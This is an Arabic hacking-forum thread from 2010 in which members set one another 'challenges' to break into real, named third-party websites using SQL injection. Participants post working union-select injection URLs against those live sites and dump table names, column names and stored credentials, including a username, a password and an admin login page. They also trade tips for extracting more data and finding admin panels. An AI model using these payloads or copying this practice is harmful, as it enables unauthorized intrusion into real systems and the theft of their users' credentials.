تحديات خاصة بالمبتدئين في دورة sql

marrak · 06-28-2010, 07:13 PM

السلام عليكم
لتدليل المصاعب امام المبتدئين , وتثمينا لمجهودات اخينا فولكانو , سأضع كل مرة موقعا مصابا ويحاول المبتدئون ايجاد معلوماته.
الأجوبة ترسل على الخاص وسيم وضع لائحة باسماء المتفوقين .
على بركة الله نبدأ

الموقع الأول
http://www.5landswalk.com.au

مدة التحدي يومان

لكم تحياتي

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC jp]dhj ohwm fhglfj]zdk td ],vm sql a;vh

D-GhosT s3cur!Ty-Z · 06-28-2010, 08:19 PM

والله مبادرة رائعة جدا منك يا مارك

marrak · 06-28-2010, 08:40 PM

اقتباس

المشاركة الأصلية كتبت بواسطة I PROMISE HACKER


	*والله مبادرة رائعة جدا منك يا مارك*

احاول قدر المستطاع رد الجميل لهذا المنتدى العزيز
لك تحياتي

kama · 06-29-2010, 12:03 AM

tnaks man , for this chalange

marrak · 06-30-2010, 08:18 PM

لم أتوصل بأي جواب لكن الاخوة ما شاء الله عليهم دخلوا الموقع وتم ترقيع الخطأ sql .

التحدي الثاني سهل
http://www.hironakajima.com/
نقطة البداية
http://www.hironakajima.com/business...php?mail_id=12

الثغرة sql
الاصدار 5

المدة يومان
لكم تحياتي

coool · 06-30-2010, 08:36 PM

البيانات اممم
اليوزر stoneusa7
البااس stoned
اماا لووحة ماطلعت معااي هع هع ننتظر الباقين

marrak · 06-30-2010, 10:30 PM

اقتباس

المشاركة الأصلية كتبت بواسطة coool


	البيانات اممم اليوزر stoneusa7 البااس stoned اماا لووحة ماطلعت معااي هع هع ننتظر الباقين

مبروك عليك اخي الكريم واليك لوحة الدخول
http://www.hironakajima.com/admin/login.php

سأرفع موقعا آخر غدا بحول الله
لك تحياتي

lifenote · 07-01-2010, 12:24 AM

السلام عليكم و رحمة الله تعالى و بركاته

شكرا أخي الغالي على الفكرة الجميلة كنت محتاج لها و الله

كود:

II- http://www.hironakajima.com/business/mail _old.php?mail_id=-12%20union% 20select%201,2,concat% 28table_name,0x3a,column_name,0x3a,tabl e_schema% 29,4,5+from+information_schema.columns+ where+column_name+LIKE+CHAR% 2837,%20112,%2097,%20115,%2037%29-- III- http://www.hironakajima.com/business/mail _old.php?mail_id=-12%20union% 20select%201,2,concat% 28table_name,0x3a,column_name,0x3a,tabl e_schema% 29,4,5+from+information_schema.columns+ where+table_name=0x75736572-- IV- http://www.hironakajima.com/business/mail _old.php?mail_id=-12 union select 1,2,concat (user_id,0x3a,userpass),4,5+from+user--

النتيجة

اليوزرنام 1
الباس stoned

************
user اسم جدول اليوزر
userpass اسم عمود لاباس
user_id اسم عمود اليوزر
اليوزرنام 1
الباس stoned
*************
يعني اليوزر مستحيل و الباس صحيح

جربت امر غروب و ليميت ما يشتغل معاي يعني قلت ربما اخطأت في الجدول لانه كما لاحضتم الجدول عندي اسمه user

تلميذ كسول خخخ

آسف اتمنى اشوف ردودكم اخوتي الكرام

سلام

lifenote · 07-01-2010, 01:30 AM

هذا موقع ىخر جربت عليه و نفس المشكلة

كود:

http://accesscourses.net/fr/news_detail.php?id=-1 union select 1,2,3,concat(id,0x3a,pass),5,6+from+client--

1:1609

احاول استخدم أمر غروب ما ينفع يعني يعطيني نفس الجدول الي انا عملت عليه و ما يعطيني جداول أخرى اجرب عليها

marrak · 07-01-2010, 09:54 PM

اقتباس

المشاركة الأصلية كتبت بواسطة lifenote


	هذا موقع ىخر جربت عليه و نفس المشكلة كود: http://accesscourses.net/fr/news_detail.php?id=-1 union select 1,2,3,concat(id,0x3a,pass),5,6+from+client-- 1:1609 احاول استخدم أمر غروب ما ينفع يعني يعطيني نفس الجدول الي انا عملت عليه و ما يعطيني جداول أخرى اجرب عليها

اتمنى على الأخ coool ان يشرح لنا طريقته لأنها صحيحة
بتظافر الجهود نتعلم جميعا ونرقى بمستوى المنتدى .

marrak · 07-01-2010, 10:07 PM

بالنسبة للموقع الثاني اخي lifenote
اليك المبتغى

اقتباس


	http://accesscourses.net/fr/news_det...rom%20client--

وجب اسعمال login بدل id
لك تحياتي

marrak · 07-01-2010, 10:17 PM

السلام عليكم
الموقع التالي
http://www.annapolisroyalwellnesscenterandspa.com
الثغرة sql
الاصدار 5
عدد الأعمدة 5 والمصاب رقم 2

لكم تحياتي

the cold zero · 07-02-2010, 09:40 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	السلام عليكم الموقع التالي http://www.annapolisroyalwellnesscenterandspa.com الثغرة sql الاصدار 5 عدد الأعمدة 5 والمصاب رقم 2 لكم تحياتي

تسلم يا بطل
انتظرنى راح اجيب راسه n028

BL4CK TIG3R

lifenote · 07-02-2010, 07:40 AM

الموقع ما يضهر لي عليه خطا أخي

^_^

/////////

انضر اخي هنا

كود:

http://accesscourses.net/fr/news_detail.php?id=-1%20union%20select%201,concat%28login,0x3a,pass%29,3,4,5,6+from+client--

هل لي برابط لوحة التحكم ؟؟ او طريقة لتخمينها تكون سهلة لاني اضمن لك انه اليدوي ما ينفع
و حتى برنامج AdminPage

marrak · 07-02-2010, 07:51 PM

اقتباس

المشاركة الأصلية كتبت بواسطة lifenote


	الموقع ما يضهر لي عليه خطا أخي ^_^ ///////// انضر اخي هنا كود: http://accesscourses.net/fr/news_detail.php?id=-1%20union%20select%201,concat%28login,0x3a,pass%29,3,4,5,6+from+client-- هل لي برابط لوحة التحكم ؟؟ او طريقة لتخمينها تكون سهلة لاني اضمن لك انه اليدوي ما ينفع و حتى برنامج AdminPage

اخي الكريم
انتبه جيدا للدروس
عوض concat اكتب group_cancat وتنحل المشكلة
لك تحياتي

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
دورة دلفي من 0 إلى الإحتراف (دورة حقوقها محفوظة لدلفي للعرب )	darkman.dz	قسم البرمجة الكائنية	7	01-18-2015 01:39 PM
حصري على الشبكة..دورة H-t اقوى دورة في اختراق المواقع	MATRIX ALGERIA	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	14	12-10-2013 05:01 PM
دورة أختراق الأجهزة خاصة - جحيم هكر -	! جحيم هكر !	قســم إختــراق الأجهــزة	10	10-28-2010 08:30 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

تحديات خاصة بالمبتدئين في دورة sql

جـــ'ابات العناكــ'ب